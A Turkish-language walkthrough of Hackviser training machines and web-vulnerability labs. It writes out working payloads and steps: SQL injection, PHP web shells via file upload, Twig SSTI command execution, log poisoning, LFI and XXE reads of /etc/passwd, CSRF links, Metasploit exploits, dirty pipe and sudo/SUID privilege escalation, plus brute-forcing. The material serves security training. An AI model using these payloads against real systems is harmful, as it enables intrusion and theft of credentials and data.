Write-ups

Hackviser Part-1 Warm-ups

1. Arrow

1. **Which port(s) are open?**

- Makine başladıktan sonra, verilen ip addresine nmap taraması yaptım

```
emre@emre-VirtualBox:~$ nmap 172.20.2.125
Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-01 13:01 +03
Nmap scan report for 172.20.2.125
Host is up (0.073s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE
23/tcp open  telnet

Nmap done: 1 IP address (1 host up) scanned in 1.30 seconds
```

- Nmap taramasının sonucunda, hedef ip addresinde 23 port'unun açık olduğunu gördüm ve soruyu 23 olarak yanıtladım

2. **What is the running service name?**

- Daha sonrasında açık olan 23 portunu internetten araştırdığımda, bu portta genelde telnet servisinin çalıştığını öğrendim ve telnet komutu ile terminalden bağlanma isteği yaptığımda, service name'in telnet olduğunu bulmuş oldum

3. **What is the hostname?**

- telnet'e bağlandıktan sonra benden login credentials istedi ve bende lab'ın verdiği root:root hint'ini denediğimde, başarılı bir şekilde login olup karşı terminalde kod çalıştırabilir hale geldim

```
emre@emre-VirtualBox:~$ telnet 172.20.2.125
Trying 172.20.2.125...
Connected to 172.20.2.125.
Escape character is '^]'.
Hey you, you're trying to connect to me.
You should always try default credentials like root:root

it's just beginning *_*
arrow login: root
Password:
Linux arrow 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 (2023-09-29) x86_64
```

- Terminalde hostname komutunu çalıştırdığımda, arrow sonucuna ulaştım

4. **What's the username:password you use to connect to telnet?**
    - Önceki kısımda bahsettiğim üzere username:password root:root
5. **What is the working directory location when you connect to telnet?**
    - Son olarak terminalde pwd komutunu çalıştırdım ve /root cevabına ulaştım.

2. File Hunter:

1. **Which port(s) are open?**
    - Makine başladıktan sonra, nmap <ip_addr> komutu kullanarak nmap taraması yaptım ve 21 port'unun açık olduğunu keşfettim
2. **What does FTP stand for?**
    - Internetten araştırdıktan sonra, ftp'nin açılımının file transfer protocol olduğunu keşfettim
3. **What username did you connect to the FTP?**
    - ftp <ip_addr> komutu ile ftp bağlantısı açtım. Username sorduğunda root yazdım ve daha sonrasında bu ftp server'ın anonymous only olduğunu söyledi, yani username'in anonymous olduğunu keşfettim
4. **What command shows which commands we can use on the FTP server?**
    - Aklıma help komutunu denemek geldi ve help yazdıktan sonra kullanabileceğim komutlar listelendi
5. **What is the name of the file on the FTP server?**
    - ls komutunu çalıştırdım ve userlist adında bir file keşfettim
6. **What is the command we can use to download a file from an FTP server?**
    - Help komutu ile listelenenler arasından, get komutunun file download için kullanılabileceğini tahmin ettim ve tahminim doğru çıktı
7. **Which users' information is in the file?**
    - 'get userlist' komutu ile file'ı download ettim ve kendi terminalimde cat userlist komutuyla, jack:hackviser ve root:root sonucuna ulaştım

3. Secure Command:

1. **Which port(s) are open?**

- ‘nmap <ip_addr>’ komutu ile 22 port’unun açık olduğunu keşfettim

2. **What is the running service name?**
    - 22 port’unda default service ssh’dır, ‘ssh <ip_addr‘ komutunu çalıştırarak bu port’ta çalışan service’in ssh olduğunu doğruladım
3. **What is “Master's Message” when connecting to SSH with hackviser:hackviser credentials?**
    - ‘ssh hackviser@<ip_addr>’ komutunu çalıştırdıktan sonra, parola girmeye gerek kalmadan mesajı şu gördüm: ‘W3lc0m3 t0 h4ck1ng w0rld’
4. **What is the command to change user in Linux?**
    - su (önceden bildiğim bir komut)
5. **What's the password for root user?**
    - ‘su root’ komutu çalıştırdım ve default password’leri denemek istedim, password’ü root olarak yazar yazmaz root kullanıcısına geçiş yaptım, diğer password’leri denememe gerek kalmadı
6. **What is the parameter of the ls command that shows hidden files?**
    - -a (daha önceden bildiğim birşeydi)
7. **What is the master's advice?**
    - /root directory’sinde ls -a çalıştırdıktan sonra .advice_of_the_master adlı file’I buldum ve cat komutu ile içeriğini okudum: ‘st4y cur10us’

4. **Query Gate**
    1. **Which port(s) are open?**
        - ‘nmap <ip_addr>’ komutu ile 3306 port’unun açık olduğunu keşfettim
    2. **What is the running service name?**
        - Bu port’ta çalışan default service Mysql, ‘mysql -h <ip_addr>’ komutu ile burda çalışan service’in mysql olduğunu doğruladım
    3. **What is the most privileged username that we can use to connect to MySQL?**
        - root (önceden bildiğim bir bilgi)
    4. **Which parameter is used to specify the hostname in the command line tool to connect to MySQL running on the target machine?**
        - Internetten mysql server’ına nasıl bağlanılır baktıktan sonra hostname’i belirtmek için **-**h parametresi kullanmak gerektiğini keşfettim ve ‘mysql -h <ip_addr>’ ile bağlandım

5. **How many databases are on the MySQL server you are connecting to?**
    - Internetten araştırdıktan sonra 'show databases;' komutu ile tüm db'leri listeledim ve 5 tane olduğunu keşfettim
6. **Which command can we select a database?**
    - Internette araştırdıktan sonra 'USE DatabaseName;' komutunu buldum
7. **What is the name of the table in the detective_inspector database?**
    - 'USE detective_inspector;' ve 'SHOW tables;' komutlarıyla, table name'in 'hacker_list' olduğunu keşfettim
8. **What's the nickname of the white-hat hacker?**
    - Basic şekilde 'SELECT * FROM hacker_list;' komutu ile cevabın 'h4ckv1s3r' olduğunu keşfettim

5. **Discover Lernaean:**
    1. **Which port(s) are open?**
        - Nmap ile 22 ve 80 portlarının açık olduğunu buldum
    2. **What is the version of the service running on port 80?**
        - Ip adresini browser ile ziyaret ettiğimde dönen response header'ında apache server 2.4.56 şeklinde version infosunu buldum
    3. **What is the name of the directory you found using the directory scanner tool?**
        - Ffuf ile directory fuzz sonucunda 301 sc dönen filemanager adında bir directory buldum
    4. **What's the username:password you use to login to filemanager?**
        - Login page'in altındaki github linkini ziyaret edip, default kullanıcı adı ve şifre olan user:12345 ile giriş yaptım
    5. **What is the last username added to the computer?**
        - UI'dan /etc/passwd file'I açıp cevabın rock olduğunu gördüm
    6. **What is the password of user rock?**
        - hydra tool'u ile ssh için brute-force yaptım ve rock'ın password'unu 7777777 olarak buldum
    7. **What is the first command executed by user rock?**
        - Ssh ile bağlandıktan sonra history komutunu çalıştırdım ve çalıştırılan ilk komutu cat .bash_history olarak buldum

6. **Bee**

    1. **Which port(s) are open?**

        - Nmap ile 80,3306 portlarının açık olduğunu buldum

    2. **Which domain did you add to the hosts file to login to the site?**

        - Login'e bastığımda ip adresi yerine domain name ile istek yapıldı, bu yüzden /etc/hosts file'ıma <lab_ip_addr> dashboard.innovifyai.hackviser şeklinde bir satır ekledim, yani cevap dashboard.innovifyai.hackviser

    3. **With which vulnerability did you bypass the login panel?**

        - Email kısmında 'or 2=2--+- payloadını yazarak login olabildim, vulnerability ismi sql injection

    4. **What is the name and extension of the page containing user settings in the panel that you accessed by bypassing login?**

        - settings.php

    5. **What is the id of the user you get shell on the machine with file upload vulnerability?**

        - Basic bir php file oluşturup, <?php system($_GET['a']); ?> kodunu yazdım ve image upload kısmına yükledim, sonrasında bu file'I ziyaret edip ?a=id parametresi ile 33 cevabına ulaştım

    6. **What is the MySQL password?**

        - ?a=ls komutu ile diğer file'ları bulmaya çalıştım, sonrasında ls ../ komutu ile db_connect.php file'ını gördüm ve cat ../db_connect.php diyerek view-source'ta password'ü Root.123!hackviser olarak buldum

7. **Leaf**

    1. **What is website title?**

        - Ip adresini browser'dan ziyaret ederek, title'ın Modish Tech olduğunu öğrendim

    2. **Which GET parameter is used on the page where the product detail is displayed?**

        - Bi tane ürüne tıklayıp, url'de ?id= parametresini gördüm ve cevabı id olarak buldum

    3. **What does SSTI stands for?**

        - Server Side Template Injection

    4. **What is the commonly used SSTI payload that prints 49 on the screen?**

        - {{7*7}}

5. **What is the name of the database used by the application?**
    - Twig engine kullanıldığını bulduktan sonra {{['ls',""]|sort('system')}} komutu ile diğer file'ları listeledim ve config.php file'ını gördüm.
    - Sonrasında {{['cat config.php',""]|sort('system')}} komutu ile db name'in modish_tech olduğunu gördüm

8. **Venomous**
    1. **What is the name of the running web server?**
        - Ip'yi browser'dan ziyaret ettim ve response'ta nginx kullanıldığını gördüm
    2. **What is the GET parameter used to display an invoice?**
        - Download report'a tıkladım ve url'de invoice parametresini gördüm
    3. **What is the payload of the directory traversal attack to access the passwd file on the system?**
        - /etc/passwd ve eğer doğrudan file'I istek yapılmak yerine current directory ele alınarak istek yapılıyorsa, en başına root directory'e ulaşana kadar ../ koymalıyız
        - Bu lab için cevap ../../../../etc/passwd
    4. **What does LFI vulnerability stand for?**
        - Local File Inclusion
    5. **What is the default path of nginx access logs?**
        - /var/log/nginx/access.log
    6. **What is the IP address of the user who first accessed the site?**
        - directory traversal ile log kaydına ulaştım
        - Access.log file'ında sadece kendi kayıtlarımı gördükten sonra, access.log.1 file'ına baktım ve 10.0.10.4 ip adresinin ilk istek yapan ip olduğunu buldum
    7. **What is the last modified time of show-invoice.php file?**
        - server php file çalıştırdığı için log kayıtlarına php eklemeye çalıştım, parse errordan sonra lab patladığı için restart yapmam gerekti
        - sonrasında access.log'a ulaşmak için yaptığım isteğe &result=<?php system('id'); ?> şeklinde bir istek yaptım ve log kaydında, kodun çalıştığını gördüm
        - Sonrasında ls -la komutu çalıştırdım ve show-invoice.php file'ının en son modified olduğu zamanı Dec 10 2023 olarak buldum. Ama cevap bu değilmiş

- Write-up'a başvurduğumda, cevabı saat olarak vermemiz gerektiğini öğrendim ama ben bu şekilde kod çalıştırdığımda saat göstermiyordu, sanırım shell alalım diye özellikle böyle tasarlanmış
- Her neyse günün sonunda shell alıp ls -l çalıştırınca saat'de gözüküyor ve cevabı 19:23 olarak buluyoruz

9. Super Process

1. Which Ports are open?

- Nmap ile 22 ve 9001 portlarının açık olduğunu keşfettim

2. What is the CVE code of the vulnerability found in the web application?

- Internete port 9001 exploit yazdıktan sonra, github'da CVE-2017-11610 başlıklı sayfayı ziyaret ettim ve cve'yi keşfettim

3. Which user's permissions and authorizations does the vulnerable service work with?

- Bu noktada msfconsole'u çalıştırıp, bu cve'deki supervisord kelimesini search ettim ve 1 sonuç döndü
- Sonrasında use 0 dedim ve options diyerek set edilmesi gereken şeyler set ettim
- exploit dedim ve bana meterpreter verdi, bunun ardından shell diyerek terminale geçtim ve whoami komuyula nobody yanıtına ulaştım

4. What is the name of the application with SUID permissions that we can use for privilege escalation?

- Github'daki cve'yi okuduğumda, privilege escalation için bir http server ayağa kaldırıp post isteği yapmamız gerektiğini söylüyordu ve uygulamada bunu yapmak için python2.7 var yani cevap python2.7

5. What is the password hash value in /etc/shadow for the user "root"?

- Write up'taki şu kod ile python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")' root privilege'ine yükseldim ve cat /etc/shadow ile root password hash'ine ulaştım

10. Glitch

1. Which ports are open?

- Nmap ile 22 ve 80 portlarının açık olduğunu keşfettim

2. What is the name of the running web server?

- Siteyi ziyaret ettikten sonra, response'ta nostromo 1.9.6 yanıtını gördüm

3. What is the CVE code of the vulnerability?

- Nostromo 1.9.6 exploit şeklinde aratıp CVE-2019-16278 sonucunu buldum

4. **What is the Linux kernel version?**

    - Internetten bulduğum python script'i ile target_ip port şeklinde info sağlayıp sonrasında uname -a komutunu girdim.
    - linux version'unun 5.11.0-051100-generic olduğunu gördüm

5. **What is the password hash value in /etc/shadow for the user "hackviser"?**

    - Linux version'unda privilege escalation olduğunu öğrendim(dirty pipe). Bunun için yine internette exploit var, ve bunun için bu exploit'i linux'e yüklemeliyiz. Bunu python server ayağa kaldırıp yapabiliyoruz. Sonrasında exploiti çalıştırıp root oluyoruz
    - Son olarak cat /etc/shadow ile sonucu görüntüleyebiliyoruz

11. Find and Crack

1. **What is the name of IT Asset Management and service desk system software used?**

    - Websitesini ziyaret ettikten sonra alttaki It Management linkine tıkladım ve cevabın glpi olduğunu gördüm

2. **What is the username used to connect to the database?**

    - Bunu bulmak için login olmaya çalıştım, sqli işe yaramadı sonrasında internetten glpi için default passwordlara baktım ve 4 tane buldum, onları denediğimdede sonuç alamadım
    - Sonrasında port scan yaptım ve 3306 port'unun açık olduğunu gördüm ayrıca msfconsole'da search glpi yazarak exploit var mı diye baktım. 2 sonuçtan excellent olanı seçip gerekli şeyleri set ettikten sonra, exploit işe yaradı ve meterpreter session verdi
    - Shell yazarak terminale geçtim ve config file aradım, /var/www/glpi/config altında config_db.php'yi gördüm ve cat ile okudum ve username'i glpiuser olarak gördüm.

3. **Which command can be run with sudo privileges?**

    - Sudo -l ile find sonucuna ulaştım

4. **What is backup.zip password?**

    - Sudo find ile /root/backuo.zip location'ını buldum ve root yetksi olmadan birşey yapamayacağım için internete linux privilege escalation yazdım. Şu sitede https://payatu.com/blog/a-guide-to-linux-privilege-escalation sudo find ile yapılabilecek bir privilege escalation buldum.
    - **sudo find /home -exec sh -i \;** bu komuttan sınra whoami yazdığımda, root olduğumu gördüm

- bunun ardından zip'I kendi localime yüklemek için python ile http server ayağa kaldırdım ve zip'i indridim
- Ardından internette nasıl zip pass kırılır ona baktım ve fcrackzip tool'u ile password'u **asdf;lkj** olarak buldum

5. Who is suspected of mining?

- Zip'in içindeki computer.csv file'ında he may be mining yazan satıra baktımğımda cevabı **Ethan Friedman** olarak gördüm.

Hackviser Part-2 Labs

1. XSS:

a. Reflected XSS:

- Makine başladıktan sonra verilen url'i ziyaret ettim ve karşıma bir search bar çıktı
- Daha sonrasında bu kısma test yazıp, f12 ile test yazısını arattıktan sonra, input'umun <b> tag'i arasında olduğunu gördüm.
- Bundan sonra basit bir şekilde <script> tag'leri arasında alert() yazarak, xss açığını doğruladım

b. Stored XSS:

- Verilen url'I ziyaret ettim ve login oldum. Daha sonrasında mesaj atma kısmında ki input'umun f12'ye basıp nerede kullanıldığına baktım ve tag'leri arasında olduğunu öğrendikten sonra çok basic şekilde <script> tag'leri arasında alert() çağırdım ve xss olduğunu keşfettim

c. DOM XSS:

- Verilen url'i ziyaret ettikten sonra, input yerlerine bir değer girdim, input'umun yansıdığını gördüm ve sonrasında, kaynak kodu incelemeye başladım.
- Kaynak koddaki <script> tag'lerinde girdiğim input'ların var ans = base * height / 2; şeklinde bir aritmetik işleme tabi tutulduktan sonra, innerHtml ile yazdırıldığını gördüm
- innerHtml kullanılıdığında, html'i direk olarak yazdıracağı için, basit bir şekilde height input'unu; alert();// şeklinde girdim ve xss'i buldum.

2. *SQL Injection:*

a. Basic SQL Injection:

- url'i ziyaret ettikten sonra açılan login page'de öncelikle test:test şeklinde bir deneme yaptım
- sonrasında test' şeklinde tek tırnak koyarak bir deneme daha yaptım ve bunu yaptığım zaman, hatalı username password hatası içeren login page'e geri yönledirmek yerine blank page verdi
- sonrasında test'' şeklinde 2 tırnak koyduğumdaysa, hatalı username password hatası verdi. Sql injection sırasında tek tırnak hataya sebep olurken, çift tırnak hataya sebep olmayacağı için burada sql injection olma ihtimalini tespit etmiş oldum
- Son olarak en basic sql login bypass payload'ı olan 'or+1=1# yazarak login oldum ve email adresini keşfettim: sraincin0@moonfruit.hv

b. **Union-Based SQL Injection:**

- Search barında toyota yazdıktan sonra 3 sonuç döndüğünü gördüm
- Sonrasında toyota' şeklinde tek tırnak ekledim ve sonuç dönmediğini gözlemledim ve bunun ardından toyota'--+- şeklinde mysql'deki yorum satırını denedim ve 3 yanıtın döndüğünü gözlemledim.
- Sql olduğundan emin olmak için 'sleep(3)--+- inputunu girdim ve page'in geç yüklendiğini gözlemledim. Sonrasında 'sleep(0)--+- denedim ve page'in hızlı bir şekilde yüklendiğini gördüm.
- Sqli'yi bu şekilde tespit ettikten sonra başlık union-based olduğu için öncelikle table'da kaç tane column olduğunu bulmak istedim ve bunun için toyota'+order+by+10--+- yazdım ve cevap gelmediğini gördüm.
- Bu şekilde sayıyı azaltarak gittim ve toplamda 4 column olduğunu keşfettim
- toyota' union select 1,2,3,4--+- input'undan sonra, tüm column'ların ekrana yansıdığı keşfettim
- Sonrasında toyota' union select 1,schema_name,3,4 from information_schema.schemata--+- input'unu girdim ve 5 adet db name cevap olarak döndü
- Cevap kısmında tek tek hepsini denedim ve sonucu buldum: ecliptica_cars

c. Boolean-Based Blind Sql injection

- POST request'ini intercept ettikten sonra -> apple20w'and+1=2--+- ve (1=1) input'larının farklı sonuçlar dönmesi ile blind sql injection'ı tespit ettim

- Sonrasında -> iphone11'and+substring((select+database()),1,1)='§a§ şeklinde input'umu yazıp, intruder çalıştırdım. length'i farklı olan sadece e harfiydi, response'a baktığımda e harfi için tru döndüğünü gördüm. Bu şekilde substring'I 2,3 diye artırarak devam ettim ve echo_store ve labı çözdüm

3. Unrestricted File Upload

a. Basic Unrestricted File Upload

- <?php $path=system('find / -name config.php;', $i); ?> kodunu içeren php file yükledim ve config.php için path'in /var/www/html/config.php olduğunu öğrendim
- <?php $test = system('cat /var/www/html/config.php', $i); ?> kodunu çalıştırdım ve sayfanın kaynak kodunda, config.php içeriğini görebildim
- Password'ü 8jv77mvXwR7LVU5v olarak keşfettim

b. MIME Type Filter Bypass

- <?php $path=system('find / -name config.php;', $i); ?> kodunu içeren php file yüklerken request'i intercep ettip ve repeater'a yolladım
- Unauthrized file type format hatası aldım ve request'in body'sinde Content-Type'ı image/png olark değiştirdim ve dosya başarılı şekilde yüklendi. Yüklediğim dosyayı sitede açtım ve config file'ın /var/www/html/config.php path'inde olduğunu keşfettim
- <?php $test= system('cat /var/www/html/config.php', $i); ?> kodu ile config.php'nin içeriğini görebildim
- $password = 'fRqs3s79mQxv6XVt';

c. File Signature Filter Bypass

- .php file yüklemeye çalıştığımda unauthorized file type hatası aldım
- Denemelerimin ardından, en son bir image yükleme request'ini intercept ettim ve extention'I .php ile değiştirip içeriğin alt kısımlarına php kodumu yazdım -> <?php $test= system('cat /var/www/html/config.php', $i); ?>
- File'ı açtığımda Config.php'nin içeriğini görebildim; $password = '2xESbdzvegfahykF';

d. File Extension Filter Bypass

- File upload isteğini repeater'a gönderdikten sonra, php olarak kabul edilen diğer file extention'larını denemeye başladım(php4, phtml etc.)

- php7, php4 gibi extention'lar kullandığımda, file yüklensede php'yi çalıştırmadı, son olarak phtml denediğimde php kodum çalıştı ve config dosyasını okuyabildim

4. IDOR:

a. Invioices

- View invoices'a bastığımda, url'de şöyle bir parametre gördüm: ?invoice_id=1001 bunun ardından basit şekilde, bu parametrenin değerini farklı sayılarla değiştirdim
- 1003 yazdımğım zaman, email'I rawneelia@securemail.hv olarak buldum.

b. Ticket Sales

- Bilet alma request'ini repeater'a gönderdim ve amount= ve tikcet_price= parametrelerinin değerlerini azaltmaya çalışarak, fiyatı düşürmeye amaçladım.
- Çok basic şekilde ticket_price'ın value'sunu düşürünce, fiyatı daha az olacak şekilde bilet almayı başardım ve order_id'ye ulaştım

c. Change Password

- Login olduktan sonra, reset password request'ini intercept ettim ve body'deki user_id parametresinin değerini 1 ile değiştirdim ve admin'in passwordunu güncellediniz tarzında bir mesaj döndü
- Sonrası log-out olup admin ile giriş yaptım, phone number'I **876-987-8489** olarak buldum

5. Command Injection

a. Basic Command Injection

1. Basic şekilde ;hostname yazarak cevabı `squirrel olarak buldum.`

b. Command Injection Filter Bypass

2. Basic şekilde ;hostname ve &&hostname denedikten sonra sonunda ||hostname yazarak `legend sonucunu buldum`

6. File Inclusion

a. Basic Local File Inclusion

3. url deki page= parametresinin değerine /etc/passwd yazarak basic şekilde /etc/passwd file'I görüntüleyebildim ve son eklenen user'ın name'ini pioneer olarak buldum

b. *Local File Inclusion Filter Bypass*

4. url deki page= parmetresinin değerini /etc/passwd yaptığımda hata verdi. Uzun denemelerden sonra %2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2fetc%2fpasswd payload'ını (....//....//....//....//etc/passwd 'nin url encoded hali) kullanarak file'a ulaşabildim ve last user'ın username'ini sunflower olarak buldum

c. *Basic Remote File Inclusion*

5. Hackerbox local'inde index.php file oluşturup, içeriğini şu şekilde yaptım -> <?php echo '<?php system("hostname"); ?>'; ?> ve bundan sonra, page= parametresinin değerini http://hackerbox_ip/index.php yaparak server'ın hostname'ini imperial olarak buldum

7. *XML External Entity Injection(XXE)*

a. *Basic XXE*

- Form request'ini intercept ettikten sonra, body'de, payloadın üst kısmına:
    - <!--?xml version="1.0" ?-->
    - <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd">]>
- Ekledim ve sonrasında <firstname> taglar'I arasındaki değeri &example; ile değiştirdim. Request'I gönderdikten sonra /etc/passwd içeriğini döndü ve last user'ın username'ini optimus olarak buldum

8. *Cross Site Request Forgery (CSRF)*

a. Change Password

- Login olduktan sonra, reset password request'ini intercept ettim ve request'teki gerekli olan şeylerin sadece cookie ve new_password olduğunu gördüm
- Bundan sonrasında bu requestin aynısını yaptırmak için bir forma bile ihtiyacım olmadığı farkettim. Sadece bir url ile bu isteği birine tekrarlatabiliyoruz çünkü parametre url'de gönderiliyor.
- Sonrasında https://host-name.com/index.php?new_password=test şeklindeki url'I mesaj box'a yazdım
- Sonrasında logout olup, admin:test ile giriş yaptım ve email'I stringman@securemail.hv olarak buldum

b. Money Transfer

- Para transfer request'ini incelediğim zaman tek gerekli değerlerin transfer_amount=&receiver= ve cookie olduğunu tespit ettim.
- Sonrasında bu isteği tekrar eden bir url oluşturup mesaj box'a yazdım -> https://host-name.com/index.php? transfer_amount=10&receiver=user
- Ve admin tarafından gönderilen para bilgisinde transaction id'yi fe96d3dcee84e89cd olarak buldum

9. Broken Authentication

a. Dictionary Attack

- Login request'ini intercept ettikten sonra, ffuf'ta nasıl yapacağımı tasarladım sonrasında internetten bir tane password wordlisti ile brute force'a başladım
- Kullandığım komut -> ffuf -X POST -d "username=admin&password=FUZZ" -w pass-wordlist.txt -u "https://clever-gladiator.europe1.hackviser.space/login.php" -H "Content-Type: application/x-www-form-urlencoded "
- Sonrasında password'ü superman olarak buldum

b. Execution After Redirect (EAR)

- Url'e istek yaptığım zaman, request'I intercept edip, repeatar'a gönderdim ve isteği yaptığım zaman 302 redirection almış olsam bile, sayfanın içeriğinide html olarak response'ta gördüm.
- Sayfadaki bilgiler arasından istenen phone number'ı 705-491-1388 olarak buldum